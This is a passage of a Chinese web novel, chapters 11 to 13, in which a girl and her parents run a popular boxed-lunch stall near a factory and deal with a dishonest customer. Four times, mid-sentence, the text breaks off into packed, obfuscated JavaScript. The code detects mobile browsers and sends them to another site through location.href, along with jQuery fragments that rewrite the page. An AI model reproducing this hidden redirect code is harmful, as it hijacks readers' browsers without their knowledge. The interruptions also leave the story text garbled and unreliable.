叶从溪看准时机，淋上早已经调好的料汁，再倒入清水，烧开后合上锅盖闷个十分钟左右，最后大火收汁撒上葱花。 鱼块色泽红亮，酱汁浓得像是能滴出实质的香味，让人看了口水直流。 闻着这香味，林秋娇添饭的速度哐哐哐变快。 本着不浪费粮食的精神，叶从溪把鱼头也下锅，煎得外焦里嫩。 不过鱼头肯定不能卖给顾客，他们就自己吃。 煎过的鱼头啃起来更香了，一点鱼腥气都没有，一大块都沾满红烧汁，把整块鱼头表面用舌头盘过一遍，再将鱼眼睛挑出来吃，简直不要太美味。 - 电子厂里。 宋羽打了一上午的零件，站起来时头昏眼花，直到走出工厂，风和人群从她身边流过，她才觉得自己又活了。 远远看见大榕树下的盒饭摊，宋羽立刻充满精神地快步过去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698778|189097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶从溪给她递盒饭：“今天的菜是红烧鱼块跟蒜苗叶炒豆干。” 宋羽开心地说：“换新菜啦？” 她就喜欢这种这种惊喜感！ 旁边一男的撇嘴嘀咕：“昨天不是土豆焖鸡吗？我就是冲着这个菜订的，结果你这换菜了，算怎么回事啊？” 叶从溪耐心解释：“预订的时候都说过了，每天菜色都可能换，不过都是一荤一素。” 那些现炒的饭店，很多菜单都不会定死的，都是当天去菜市场，看哪个菜便宜新鲜就买哪个。 她说得很清楚，能接受才让人预订的。 可眼前这个男人偏偏要耍赖：“我没听到，肯定是你说得太小声了，哪有这样做生意的，我要土豆焖鸡你给我弄成红烧鱼块。” 旁边排队的顾客看不过去：“这红烧鱼一看就很好吃，不亏的。“ 男人嘴硬：“我鱼肉过敏。” 叶从溪也不打算跟他纠缠：“行，那我把钱退给你，这盒饭你还回来吧。” 男人还是不乐意：“我还得重新去买饭，多耽误时间，算了算了，你退我一块钱得了，当我倒霉。” 叶从溪以前是干后厨的，现在卖盒饭要跟客人正面交流，才知道这世上的奇葩真不少啊。 她被气笑了：“别啊，你不是鱼肉过敏吗，万一吃出问题我们可承担不起。” 宋羽听这男人的声音就有点耳熟，她刚刚被人群挤出去，因为实在好奇又挤了回来：“卢德平？你鱼肉过敏？我之前还看见你在食堂吃清蒸鱼啊。” 卢德平跟宋羽是同一车间的，下工的时间也一样，经常能在食堂碰到。 卢德平没想到能在这碰到熟人，脸一窘，支支吾吾挪开眼：“我是对红烧的过敏……算了，退钱退钱，我不吃了还不行吗？” 叶大翔本来在旁边卖盒饭，听见这边不太对劲，走过来问：“怎么了？” 叶从溪也直接说：“这个人假装鱼肉过敏，说今天的红烧鱼块不满意，要我退他一块钱。” 叶大翔握起拳头：“就你想占便宜是吧？” 卢德平缩了缩脖子，赶紧将钱拿回来。 他原本没打算订这家盒饭的，纯粹只是想追一个女孩。 昨天她来晚了，没买到这家盒饭，他掏钱预订一份，想要今天请她吃，刷点好感。 两块五一盒，他拿钱的时候手都抖，心里肉疼啊！ 谁知道今天那女孩压根儿没来厂里。 他原本想退掉，可看着那盒菜色诱人得很，心想便宜一块钱，他也认了，没想到老板那么小气。 卢德平在周围逛一圈，然后走进对面的快餐店，这家店的快餐只要一块五。 这才是正常价格嘛，外面那黄毛的盒饭摊子凭什么卖那么贵！ 都是盒饭，能差别多少？ 卢德平买完后回到工厂，这会儿食堂人多，只有宋羽旁边有个位置。 宋羽正在吃红烧鱼，那红烧鱼焖得酱红油润，鱼皮的地方煎出细微褶皱，浓浓的酱汁挂在上面。 咬开脆硬的外皮，里面的鱼肉雪白细嫩，鲜润都锁在里头，香得要命。 11. 11 宋羽身边另一个同事前两天请假回家，没订上盒饭，看宋羽在吃红烧鱼，眼睛都馋直了。 “哎呀，早知道我先把钱给你，让你帮我订了。” 宋羽也大方，拨两块红烧鱼给她，还分了她蒜苗炒豆干：“来尝尝。” 豆干边角起了浅浅的焦香，这火候恰到好处；碧绿脆生的蒜苗段辛香清新，两种香气混在一起，乍一看挺朴素的，但吃起来咸香又下饭。 “好吃好吃，这个豆干越嚼越香，食堂以前也做过这道菜吧，可从来没炒出这味。”同事夹起一筷子放嘴里，顿时惊呼。 她又去买了汽水回来请宋羽喝。 宋羽接过汽水：“他们家都是家常菜，但就是特别好吃。” 这炒豆干妙就妙在，它不仅仅是豆干好吃，连里面的蒜苗都特别香，清脆又香爽，裹着酱汁吃着也超级下饭。 “我以前不怎么吃蒜苗的，只把它当成像葱啊蒜啊那样的调味料，反正有个味道就行，每次都会剩下，但这个炒蒜苗真的好好吃，为什么不可以再多放点！”宋羽将一筷子蒜苗放到米饭一起吃。 有那么夸张吗？都是些常见的食材，还能做出花来？ 旁边的卢德平听见宋羽的话，在心里暗暗吐槽。 但他又忍不住去偷偷去看，他重新买的这份快餐里也有炒豆干，是用辣椒炒，按理说应该更加下饭。 可不知道为什么，跟宋羽盒饭里的炒豆干一比，就显得逊色很多，油汪汪一层，吃两口就腻。 另一道炒鸡尖也是看着很寡淡，像没熟的一样，直接被红烧鱼碾压。 卢德平越吃越觉得不是滋味。 开始怪自己为什么要退掉盒饭，又怪那个卖盒饭的小气，连一块钱都不肯让，最后又怪到宋羽身上。 嫌她多管闲事，如果不是她跳出来戳穿他没有鱼肉过敏，哪至于闹得那么难看？ 宋羽跟同事聊得开心，完全不知道卢德平就在身旁，还将他那件事当成下饭八卦跟同事说。 “我跟你说，今天买盒饭我遇见一件特别奇葩的事……” “啊？他啊？”同事听完震惊地摇摇头，“不是，这也太傻了吧，这家盒饭每次都卖得很快，不是预订都不好买，他居然为了一块钱得罪老板，图什么啊？” 旁边的卢德平：“……” 他气得耳朵都红了，直接起身回宿舍。 这时，一车间的主管也来了。 他踏进食堂门，就去看四周那些餐盘。 “天天这几个菜，连青菜都炒糊了，吃着也没劲。” 他边走边摇头，忽然被一股香味吸引。 眼前，宋羽正在低头吃饭，盒饭里的红烧鱼块酱色润亮，一看就不是食堂做的。 车间主管眼睛一亮，停住脚步：“你这盒饭哪买的？看着挺有味啊。” 宋羽连忙抬头：“工厂门口大榕树那买的，那个男老板染着一头黄发，他们家做的菜特别香，我们都吃好几天了。” 主管确实不想再吃食堂的饭菜了，但又不知道吃什么。 听宋羽对盒饭评价那么高，他想着中午也去买一份试试吧。 叶大翔那一头黄毛确实好认，主管去的时候，泡沫箱里只剩下一份盒饭。 “就这一个啦？还有别的菜不？”主管语气带着点遗憾。 叶大翔摇头：“没有，我们饭盒里的菜都是一样的，这是最后一份了。” 卖那么快？主管还在惊讶，身后就有人问还有没有盒饭。 听这话，主管立刻掏钱，赶紧把这份盒饭先抢走。 这家盒饭生意那么好，再加上宋羽的描绘，主管的期待值被拉得有点高。 但理智又告诉他，只是一份盒饭而已，再好吃又能好吃到哪里？ 抱着这种矛盾的心情，主管打开盒盖，一股浓郁的香气扑面而来。 一层一层的红烧酱汁厚厚地裹在红烧鱼块上，另一旁的蒜苗叶炒豆干绿油油香喷喷。 他本来想着先尝一口，结果这一口下去就刹不住了。 一筷子接一筷子，越吃越香。 等筷子碰到底再扒拉不出任何东西，主管这才猛然回过神来，他竟然全都吃完了？！ 连饭粒都吃得干干净净！ - 叶从溪回去午休了一会，起来刷题。 她刷题用的都是以前的练习册。 练习册没怎么用过，干干净净跟新的一样。 她用铅笔刷完题后，就擦掉继续用，来回几次，把手感找回来。 林秋娇正用橡皮给女儿擦笔迹，擦着擦着，多看了几眼。 叶从溪笑着问她：“妈妈，你要不要也来做题？” 林秋娇吓得摆手：“不要不要，我才不要，我光看着都头晕。” 这高中的题目真奇怪，上面的字她也挺多认识的呀，但组在一起，她就一点都看不懂了。 叶从溪合上练习册：“妈，我去把钱还给江闻川，你要一起去吗？” 林秋娇下意识想要摇头，但也不想让女儿一个人去：“你等等，我喊上你爸。” 叶大翔去菜市场买土豆，最后还是她们两个一起去。 叶从溪按照记忆左拐右拐，来到最后的巷味处，这里环境昏暗，大白天的，光都透不进来。 她回想了一下，江闻川好像一直也是阴沉沉，住在这种地方，人确实是容易变态。 叶从溪想着还完钱就赶紧走，她先去敲门，走出来的是一位老人。 这老人就是江闻川的爷爷。 因为以前原主常来，江爷爷都眼熟叶从溪了：“你是小川同学是吧，快进来吧。” 叶从溪摇头：“不了爷爷，我不进去了，你喊江闻川出来一下。” 江爷爷就去喊江闻川。 江闻川出来看见叶从溪，表情冷冷的。 叶从溪伸出手：“三百块我已经凑齐了，那张字条呢？” 江闻川愣了下：“你等等。”他回屋拿。 两人一手交钱，一手交字条。 叶从溪确定字条没问题：“行，那这件事就过去了，妈，我们走吧。” 还完钱，林秋娇底气上来了，抬起下巴朝着江闻川哼了一声，拉着女儿就走。 她们回家时，叶大翔也回来了，叶从溪把字条递出去：“爸，钱还完啦。” 叶大翔激动地接过字条。 虽然说他是杀马特黄毛，总把打打杀杀为兄弟两肋插腰之类的话挂在嘴边，看起来很威风的样子。 但如果真要让他坐牢，他也害怕的呀。 叶大翔刷刷刷几下，把字条撕了。 林秋娇嫌撕得不够彻底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698779|189097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，拿过来又多撕了两边，这才扔进垃圾桶。 叶大翔两手一举，长呼一口气：“神清气爽！一身轻啊！还得是小溪有本事，不然我们哪里能那么快还完钱，就是一下去掉三百块挺心疼的……我去切土豆，今天多卖点土豆饼，早点把钱赚回来。” 林秋娇：“翔哥，我去帮你洗土豆！” 叶从溪笑了笑：“那我做饭吧。” 她早上就跟她爸说了晚上想吃青瓜炒肉跟蒸鸡蛋。 用蜂窝煤把米饭先蒸上，再把肉腌一会儿就可以开始炒菜。 两道菜都是快手菜，很快就开饭。 临近傍晚的天色昏暗，外面都是形形色色的行人，有刚下工的，有准备上晚班的，有去买菜的…… 一家三口围在小院子里吃晚饭。 青瓜炒肉片在爆炒时淋了适量的酱油，咸香却不失青瓜本身的清爽，那叫一个香而不腻，肉片也是嫩滑滑的；鸡蛋羹蒸得漂亮，细腻得跟豆腐一样，用来拌饭吃最合适不过。 拌匀后，每颗米饭都被鸡蛋包裹，给叶大翔香得眨眼的功夫就把米饭全刨进嘴里。 吃饱喝足，夜宵摊开始。 一想到从今天开始，赚的钱都是自己的，林秋娇就格外卖力。 一整晚又是撒调料，又是递袋子的，叶从溪都插不进手，她干脆去夜市转转。 鹏城的工厂多，打工人也多，餐饮行业很发达，各个地方的美食都有。 可惜现在没有奶茶，连那种装在玻璃瓶里的彩色粉冲开的奶茶都没见到。 逛完一圈回来，家里的摊子也卖空了。 “爸妈，我们把东西收拾回去，然后再出来逛逛吧，我看前面那家羊肉串挺不错的。” 林秋娇立刻点头：“好啊好啊！”她都好久没有逛街了。 回到家，林秋娇还洗了手，擦了大宝霜，给女儿脸上也抹了点。 叶大翔左看右看：“哪家羊肉串呀？这家吗？” 夜市好几家卖羊肉串的。 叶从溪赶紧把他拉回来：“不是，这家不是真羊肉。” 叶大翔：“啊？不是真羊肉吗？”他还吃过这家呢。 叶从溪说：“一看就看得出来呀，而且他那个羊肉味也不对。” 她把爸妈带到真羊肉串的摊子前，羊肉串卖一块五一串。 肉串个头特别大，放在炭火上烤得滋滋冒油香，刷上酱料，整条肉串油光闪亮。 他们买了六串，又去隔壁小卖部拿了三瓶橘子汽水。 夜市还有卖衣服的。 林秋娇拿着叶从溪给她发的工资，选了两条一模一样的牛仔裤，这会儿高腰阔腿牛仔裤正流行。 她开心地跟女儿说：“明天我们一起穿这个。” 林秋娇还不忘去隔壁给叶大翔买了双红拖鞋。 三人都心满意足坐在河涌的亭子边，一边喝橘子汽水，一边撸羊肉串。 叶大翔吃得满嘴油光：“这羊肉串确实比我之前吃的要香！” 叶从溪也啃得津津有味：“这可是真材实料的。”这会儿的羊肉确实香啊。 - 第二天，一早。 主管换好衣服，遇到他车间里的卢德平。 他正好想起个事：“小卢，你去办个事，厂门口那家卖盒饭的摊子你知道吧？” 12. 12 领导忽然问这个，卢德平的脑袋宕机了一下：“什，什么？” 车间主管：“就在大榕树下，老板染着一头黄毛，很好认的。前几天咱们一车间不是和二车间一起被表扬了嘛，我准备自掏腰包请大家吃点东西，我听说这家盒饭得提前预订，你来一下办公室，我把钱给你，你按照咱们车间的人数去订盒饭。” 车间主任跟卢德平是老乡，有想要提携他的意思，所以才让他去办这件事。 卢德平的脸色却变了。 黄毛老板？那，那不就是他昨天退掉盒饭的那家吗？ 领到钱，他低头数了一遍。 他们车间四十二个人，主管给了他一百零五块，正好就是两块五一份。 没错，就是那家盒饭啊！ 卢德平脸都青了，心中懊悔得不行。 一车间主任跟二车间主任是夫妻。 李小青听到丈夫陈东要请车间的人吃东西：“怎么不带大家去吃个宵夜烧烤？只请盒饭也太小气了。” 这个月效绩好，他们的奖金也不少呢。 陈东：“宵夜还不一定有这家盒饭好吃，我昨天吃了他们的红烧鱼，做的不比酒楼里的差，这还是被装在盒饭里有段时间了，要是刚出锅的，那得多香啊。” 他说着说着，自己都咽了口唾沫。 李小青有点不相信：“至于那么夸张吗？”就一份盒饭还能比酒楼的东西好吃？ 陈东嘿嘿一笑：“你试试就知道了。” 李小青想了想，决定自己先去看看。 中午，她忙活完就按照丈夫的描述找到大榕树。 本来她是想要先买一份试试看，去到那，泡沫箱却已经空掉。 都卖完了。 她感慨：“这么早就卖完，看来你们家的盒饭是真好吃。” 林秋娇笑意盈盈：“当然啦，我们家盒饭每个吃过的人都说香，然后天天都来买，生意可好了。” “那我可以提前订四十份吗？”李小青这下真的想尝尝这家盒饭到底是什么味道。 “四十份？”林秋娇怀疑自己是不是听错。 李小青点头：“没错，我给车间的工人订的，想让大家都试一下。” 林秋娇：“……你，你等等，我去问问我女儿。” 李小青转过头看叶从溪：“这你女儿？” 这看着年纪很小啊，居然是家里说话做主的。 林秋娇语气里全是骄傲：“对啊，这些饭菜都是我女儿看着做的，你一下要四十份，我得问问她能不能忙得过来。” 叶从溪已经听到了，抬头笑着说：“四十份没问题，不过得提前给钱。” 李小青立刻拿钱：“行。” 叶从溪接过钱，清点之后，在自己的小本本上记下来：“明天十一点就可以过来拿。” 等李小青走了，林秋娇跟叶大翔都凑过来。 “这四十份一加，提前订餐的人都超过一百个了吧。” “对啊，”叶从溪收起本子，放进挎包里，顺便把装钱那一格露出来，“你看今天收的钱都有多少了。” 林秋娇赶紧抓住叶从溪的手，将挎包的拉链给拉回去，压低声音警惕地说：“别露出来，万一有人抢怎么办呀？小心为上！” 叶大翔拍拍胸脯：“放心吧老婆，有我在，肯定没人敢抢。” 林秋娇猛地点头，立刻顺杆爬：“没错没错，翔哥你最有本事啦，力气又大，他们一看你这块头就得绕道走，翔哥，小拖车也交给你拉吧，我这胳膊都酸了。” 这种夸奖对于叶大翔来说非常受用，他整个人都舒展了，一把抓起小推车：“那你回去就休息吧，锅我来刷就行。” 林秋娇笑得跟花一样：“谢谢你啊翔哥！” 叶从溪没看眼，她正准备走人，就看见过一个人影朝这边走来，走得畏畏缩缩的，脚步虚得很。 她一眼认出来，这不是昨天那个假装自己鱼肉过敏想要赖账的人嘛？ 叶大翔也看见了，他神情一沉，直接挡在女儿的面前。 这小子如果又想要来胡搅蛮缠，那他的拳头可不是吃素的。 叶大翔这架势，让卢德平做了一早上的心理建设一下就白费了。 他一咬牙，脚步一转，朝着旁边的快餐店里走去。 他记得主管每次午饭都是在食堂解决，就算出去吃，肯定也看不上这种街边盒饭，忽然点名这家盒饭，估计是听谁说了一嘴。 反正都是盒饭，他到快餐店里订，主管认不出来的。 而且快餐店里的只要一块五，他还能赚点回扣。 ……就算主管吃过这家盒饭，他也有说辞，就说这家老板手艺不稳，今天做得不行呗！ 越想越觉得可行，卢德平觉得自己真机灵。 - 下午。 叶从溪在刷题时，听见外面传来的敲门声。 叶大翔放下手里的土豆，先去开门：“刘老头，你怎么了？” 刘大爷直接略过他往屋里看：“你女儿呢？老李今天回来拿东西了，说要是方便的话，今天就把合同签了。” 林秋娇哦吼一声，立刻去看女儿。 叶从溪站起身，拿上钱：“方便，我们现在就去。” 他们去到时，李大爷刚好让人把剩下的东西全搬上面包车，都是些衣服被子什么的。 李大爷看到叶大翔，下意识皱了皱眉，但看到他身上还没来得及摘下来的围裙，又觉得自己不应该以貌取人。 他悄咪咪去问刘大爷这人到底靠不靠谱。 刘大爷看一眼叶大翔：“以前是有点混账，但最近不一样的，他女儿是个有本事的。” 李大爷哦了一声，点点头，想了下，决定信一回老邻居。 “那行，我女儿在那边有房，她让我们过去养老，这房子我们也不回来了，直接签个五年吧，有老刘做担保，押金就免了，你们先付一个月的月租，以后每个月就打到我这账号上。” 合同一签，钱一给，钥匙一交。 这事就成了！ 李大爷坐上面包车离开。 刘大爷出来揽功：“那屋子我都给你们打扫干净了，直接就能住进去，你答应我的事可不要忘。” “汤嘛，我记得，明天就做。”叶从溪让他放心。 刘大爷心满意足回家。 叶从溪带着爸妈上去看房子，确实收拾得一尘不染。 李大爷带走的多是锅碗瓢盆之类的生活用品，家具倒是全在，几乎都是实木的，连沙发都是硬邦邦的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698780|189097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以后得弄个沙发垫才行。 林秋娇激动得想哭：“这里真是比一楼那个好太多了。” “那走吧，赶紧回去搬东西。”叶从溪也挺开心的，她不想再吃墙皮了。 回去的路上，叶大翔说：“我把老五他们喊来帮忙，那个煤气瓶还挺沉的。” 老吴就是叶大翔在“江湖”上的兄弟们之一。 叶从溪说：“不搬煤气瓶，厨房的东西都不搬，反正一楼房租那么便宜，我们继续租着吧，这样进出也方便，对了爸，你还能联系上房东吗？我想问问房东，这房子能不能改造成店铺。” 那么好的地段，不用来开饭店实在是可惜。 叶大翔挠挠头：“联系不到的，他都去国外了，不过当时他说了这房子随便我怎么弄。” 叶从溪闻言，心里也有了打算。 不搬厨房的东西，那就不用喊人了，三人来回几趟就搞定。 林秋娇去看隔壁的空房：“这个房间是我的，我的东西都要放在这边，还要再买一床被子。” 叶大翔手里两个枕头啪嗒一声掉在床上：“什，什么意思？老婆？你要跟我离婚？”不然怎么要分房睡？！ “离什么婚啊？”林秋娇轻轻白了他一眼：“是先准备着，到时候我想在哪睡就在哪睡，不然这屋空着多浪费。” 叶大翔这才松口气。 这房子确实安静。 早晨，叶从溪没被外面的人流声吵醒，足足睡到八点多才睁开眼。 时钟放在叶大翔他们那屋，他们倒是早起了，但没舍得将女儿喊起来。 叶从溪吃着叶大翔去一楼蒸的番薯：“我得去买个闹钟，早上记忆好，六点刷题目最合适。” 林秋娇心疼得不行：“翔哥，我看二楼门口挂着牛奶箱，咱们也给小溪订牛奶吧，补一补。” 叶大翔点头：“行。”正好女儿给他发工资了，这钱就用来订牛奶。 逛完菜市场，叶从溪就把今天的菜确定好。 番茄炒蛋还有豆角炖排骨！ 因为今天的排骨特别漂亮，他们到的时候，摊主刚刚分完。 叶从溪全部拿下了，还买了玉米跟胡萝卜，这是给刘大爷炖汤的。 买完菜直接回小院子那边，林秋娇泡好米在煮饭。 今天还是叶大翔切菜，叶从溪炒。 排骨焯水，先炒到微黄，再放豆角跟土豆块下锅炒一炒，最后加一把佐料，香气瞬间炸开。 叶从溪觉得这道菜有点辣味会更下饭，所以还放了干辣椒。 倒入调好的酱汁，加水，放冰糖，炖了大概半个小时，掀开锅盖，锅里深褐色的汤汁泛出浓郁香味，再把豆角还有土豆一起放下去，炖到彻底入味就能出锅。 番茄炒蛋也很简单，叶从溪几下就炒好了。 她特意留了点食材让叶大翔尝试自己炒，叶大翔翻着自己的小本本，把步骤复读一边记心里，然后自信满满地上场。 最后，叶大翔看着自己做出来的番茄炒蛋，一脸郁闷。 其实如果是跟以前的他相比，那已经很可以啦。 但跟女儿做的一对比，他就忍不住叹气：“奇怪了小溪，我也是按照你的步骤做的，为什么我炒的鸡蛋都成块块的，你炒的就又嫩又散呢？” 13. 13 叶从溪说：“因为你炒鸡蛋的手法不对。我跟你讲了，不要直接把鸡蛋液全部倒进去，要慢慢倒，同时用筷子划几下搅匀，不然炒出来就跟你这样是一块块的，而且你太快盛出来，你这鸡蛋肯定有点油。” 炒鸡蛋不能太快出锅，得把油逼一逼。 林秋娇闻言，拿起筷子，一筷子尝丈夫做的，一筷子尝女儿做的。 她咦了一声，眼睛瞪圆：“还真是，你爸做的这个鸡蛋不但没有你嫩，吃着还腻。” 太厉害了，她女儿果然是天生会做菜，光看就能知道问题出在哪里！ 叶从溪安慰垂头丧气的老爸：“没关系，这次知道问题，下次改进一下就好啦，慢慢就会有进步的。” 中午吃完饭，将盒饭全部装好，他们就出门摆摊。 刚到大榕树下，李小青已经在等着了。 叶从溪：“今天是番茄炒蛋还有豆角炖排骨。” 李小青眼睛一亮，伸手将装满四十多份盒饭的泡沫箱接过去：“我还没吃过豆角炖排骨呢，谢谢呀……对了，你们今天做的盒饭都在这里了？” 叶从溪点点头。 李小青愣了下，看一眼叶从溪手上的本子，今天日期下一整页记录的全是零零碎碎的散客：“就我一个人订这么多？” “对。”叶从溪笑笑。 李小青心里有点打鼓，走的时候还回头瞧了几眼。 她买错了？ 难道这里还有别的卖盒饭的黄毛？ 李小青早上就跟大家说了中午她请客，大家都聚在车间前面的走廊阳台等着。 有人探头往下看：“李主管回来了。” “她请我们吃啥啊？” “好像是……盒饭？我没看错吧，那个泡沫箱里装着的是盒饭吧？” “就盒饭呀？这也太小气了……” 吴林兴奋搓手：“这个盒饭很好吃的。” 旁边的人撇撇嘴，再好吃那也是盒饭呀，听到主管请客，还以为能混上大餐呢。 李小青：“来，每人一份，大家互相递一下。” 接到盒饭，有人回宿舍了，有人去食堂吃，也有人就站在走廊上掀开盒盖。 李小青的办公室在车间旁边。 她回到座位，打开盒饭的那一瞬间，香气直往脸上扑。 排骨炖得酱红油亮，豆角吸饱了肉汁，看着亮晶晶的。 还有这个番茄炒蛋，颜色鲜亮无比！ 那么好看的番茄炒蛋，就应该用来拌着米饭吃！ 李小青咽咽口水，拿出自己的勺子，把番茄炒蛋舀到米饭那一格，一边拌，一边闻香气。 米饭染上番茄汁的颜色和酸香，变得柔软多汁。 第一口下去，嫩滑的鸡蛋裹着米饭，酸甜的番茄汁味在嘴里炸开，天啊，这味道简直了，香得头皮发麻！ 不止是她，外面正在走廊上几个人也都纷纷露出如痴如醉的表情。 食堂也有番茄炒蛋，但跟这个番茄炒蛋完全不一样。 盒饭的番茄炒蛋是那种黏黏糊糊，番茄好像融化了一样，边缘都变得模糊，鸡蛋是粘连在一起的，一筷子能夹起一大串，上面挂满浓郁的番茄汁，一口下去，好吃得灵魂都要飞了。 太香了！ “我收回我刚刚说的话，主管请我们吃盒饭是非常正确的选择！”好香好香，这个番茄炒蛋也太下饭了吧，是他吃过最美味的番茄炒蛋，他愿意天天吃这个菜。 “豆角炖排骨也好吃。”吴林夹起一筷子炖得软糯又不失韧劲的豆角。 牙齿一咬下去，藏在豆角里面的汤汁就爆了出来，满嘴都是酱香辣味，吃着不腻。 排骨更绝，酥烂不柴，一抿就脱了骨，肉香混着一丝豆角的清甜。 “这家盒饭的土豆真神奇，”吴林一边吃一边感慨，“经常都有土豆，但每次味道都不一样，这次和豆角排骨一起炖，完全不够吃，他们家就是米饭也添挺多的，但还是完全不够吃，这些菜都太下饭了。” 而此时，卢德平也把他在快餐店订的盒饭拿了回来。 “不知道今天是什么菜。”宋羽拉着同事在排队领盒饭，她搓手期待着，但盒饭一拿到手，她就觉得有点不对劲。 饭盒的外观不一样。 本来以为只是老板换了饭盒，打开一看，她犹豫地拿起筷子夹了一口鸡排。 没什么肉味，而且有点油糊糊的，一点都不香。 宋羽直摇头：“这肯定不是小叶老板做的。” 主管不是说请他们吃小叶老板家的盒饭吗？ 陈东自己拿了一份回办公室吃，刚吃两口，他就直皱眉。 昨天那红烧鱼块香得要命，今天怎么回事？ 李小青吃完饭，去外面漱了口回来，看着丈夫那表情：“你干什么？” 陈东叹了口气，摇摇头：“我还以为自己发现了一家便宜又好吃的店，没想到老板水平也就那样，跟普通的快餐没什么区别，昨天估计就是超常发挥吧，我还给你推荐了……唉，你没买吧？” 李小青听不明白了：“你说啥呢？黄毛那家盒饭吗？很好吃啊，今天的番茄炒蛋跟炖土豆都是一绝，我们车间的人都说好吃，还说要努力工作，下个月效绩继续排名前列，让我再请他们吃呢。” 陈东：“啊？” 等等？什么番茄炒蛋跟豆角炖排骨？ 陈东看着自己面前的炸鸡排跟炒油麦菜：“这不是黄毛家的？” “肯定不是啊，饭盒都不一样，我今天去拿餐的时候，那小老板还说，就我这个大单，其他都是散单，你在哪家店买的？”李小青问他。 陈东眼皮一跳，心里隐隐有了预感。 他把卢德平喊过来，压着火气问：“不是让你去买那个黄毛老板家的盒饭？你买到哪里？” 卢德平心一下坠到谷底。 他没想到主管一下就发现了。 卢德平支支吾吾：“什，什么黄毛？主管，您不是让我到厂门口的快餐店买盒饭吗？” 陈东：“……那快餐店的盒饭多少钱一份啊？” “他们家是一块五，哦对，我这还剩了点钱，正想还您呢。”卢德平连忙掏兜，把零钱递过去。 陈东接过钱，又看了卢德平一眼。 这要是他没发现，这钱是不是就进了他口袋里？ 陈东语重心长：“小卢啊，本来看你表现还可以，跟我又是老乡，我想让你试试当小组长的，但你这个办事能力真的让我失望，你再锻炼锻炼吧。” 卢德平脸瞬间就白了，心中后悔不已。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698781|189097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 整个人跟被掏空了一样，走出去都是晃的。 如果他不搞小动作，老老实实把那家盒饭买回来，是不是就能升小组长了？！ - 叶从溪不知道工厂发生的事情。 她回家睡了下，跟往常一样睡醒刷题。 李大爷把燃气灶带走了，三楼暂时没有做饭的工具。 叶从溪干脆就把食材拿到刘大爷家。 “阿婆，我来给刘爷爷煮排骨汤啦，你家应该有砂锅吧？” “有有有，快点进来吧。”开门的是张阿婆。 张阿婆话音刚落，刘大爷就从屋里飞窜出来了。 这动作，那叫一个速度啊，一点都看不出来是一个老头。 “你可算来啦，我这两天都不去看人下棋，就等你呢。” “这就给你炖，刘爷爷，您看着外面，我爸妈去买土豆了，等下他们要是回来，你帮忙喊一声。”叶从溪将排骨一放。 “行，我看着。”刘大爷蹲在门口，叶从溪还给他派了一个削马蹄的活。 张阿婆按照叶从溪的吩咐，从柜子里拿了几个红枣在洗。 叶从溪刀起刀落，砍好排骨，又把玉米段对半砍开，萝卜切成块。 蜂窝煤的火烧起来了，叶从溪就把材料放下去炖，红枣也是掐着点放下去。 太早放到了后面会炖烂，影响口感，太晚放不够入味。 叶从溪在蜀地生活，嘴巴吃惯了辣，这道玉米排骨汤，是她旅游时在一家居民楼楼下的小店喝到的。 不重口，这滋味却让人恋恋不忘，她惊为天人，专门来这边学习了很长一段时间，学了不少汤的做法。 时间一点点过去，砂锅里的玉米排骨汤发出清甜的香味。 门口的林大爷闻得口水打转，忍不住走进来：“好了吗？” 叶从溪掀开看了下状态，清汤翻滚，肉味跟甜味相容得完美，她放了一勺盐下去：“可以喝了。” 张阿婆拿了三个碗出来，一人添了一碗。 刘大爷立刻用力吹了吹，等汤面温度稍微降下去一点，他立刻喝了一口。 好清甜，好美味，喝完整个人都通透了。 刘大爷一拍大腿：“我搞了两天的卫生累得不行，这汤一喝，值了值了。” 张阿婆也是一口气喝掉半碗：“原来加点红枣下去味道那么好，以前都没试过。” 叶大翔跟林秋娇把土豆放在院子，就回三楼这边。 经过张阿婆家，叶大翔鼻子动了动：“刘老头他们在煮什么啊，味道那么香？” 没想到他们手艺也可以嘛。 叶大翔刚在心里嘀咕一句，往里面一看，看见了自己女儿。 叶从溪也招手：“爸妈，过来喝汤！” 